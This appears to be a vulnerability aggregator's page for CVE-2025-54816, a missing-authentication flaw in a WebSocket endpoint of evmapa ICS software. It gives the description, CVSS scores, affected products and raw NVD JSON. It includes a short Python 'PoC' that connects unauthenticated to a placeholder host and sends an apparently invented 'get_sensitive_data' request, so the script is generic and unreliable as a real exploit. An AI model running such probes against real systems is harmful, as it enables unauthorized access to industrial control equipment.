Security Vulnerability Report
中文
CVE-2025-54816 CVSS 9.4 CRITICAL

CVE-2025-54816

Published: 2026-01-22 23:15:50
Last Modified: 2026-02-02 19:56:13

Description

This vulnerability occurs when a WebSocket endpoint does not enforce proper authentication mechanisms, allowing unauthorized users to establish connections. As a result, attackers can exploit this weakness to gain unauthorized access to sensitive data or perform unauthorized actions. Given that no authentication is required, this can lead to privilege escalation and potentially compromise the security of the entire system.

CVSS Details

CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:evmapa:evmapa:*:*:*:*:*:*:*:* - VULNERABLE
所有未实施WebSocket认证的端点版本
受影响的ICS产品版本(详见CISA ICS Advisory ICSA-26-022-08)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncio import websockets import json async def exploit_cve_2025_54816(target_url): """ CVE-2025-54816 PoC - WebSocket Authentication Bypass This PoC demonstrates exploitation of missing authentication on WebSocket endpoint. """ try: # Connect to WebSocket endpoint without any authentication async with websockets.connect(target_url) as websocket: print(f"[+] Successfully connected to {target_url}") print("[+] No authentication required - vulnerability confirmed") # Send a probe message to test data access probe_message = { "action": "get_sensitive_data", "target": "all" } await websocket.send(json.dumps(probe_message)) print("[+] Probe message sent") # Receive response response = await asyncio.wait_for(websocket.recv(), timeout=10) print(f"[+] Received response: {response}") return True except Exception as e: print(f"[-] Error: {e}") return False async def main(): target = "ws://target.example.com/ws/endpoint" await exploit_cve_2025_54816(target) if __name__ == "__main__": asyncio.run(main()) # Usage: python poc.py # Note: Replace target URL with actual vulnerable endpoint # This PoC is for authorized security testing only

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54816", "sourceIdentifier": "[email protected]", "published": "2026-01-22T23:15:49.953", "lastModified": "2026-02-02T19:56:13.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability occurs when a WebSocket endpoint does not enforce \nproper authentication mechanisms, allowing unauthorized users to \nestablish connections. As a result, attackers can exploit this weakness \nto gain unauthorized access to sensitive data or perform unauthorized \nactions. Given that no authentication is required, this can lead to \nprivilege escalation and potentially compromise the security of the \nentire system."}, {"lang": "es", "value": "Esta vulnerabilidad ocurre cuando un endpoint WebSocket no aplica mecanismos de autenticación adecuados, permitiendo a usuarios no autorizados establecer conexiones. Como resultado, los atacantes pueden explotar esta debilidad para obtener acceso no autorizado a datos sensibles o realizar acciones no autorizadas. Dado que no se requiere autenticación, esto puede llevar a una escalada de privilegios y potencialmente comprometer la seguridad de todo el sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:evmapa:evmapa:*:*:*:*:*:*:*:*", "matchCriteriaId": "8C85ACDB-38D2-4466-9206-529F45F4720E"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-022-08.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-022-08", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}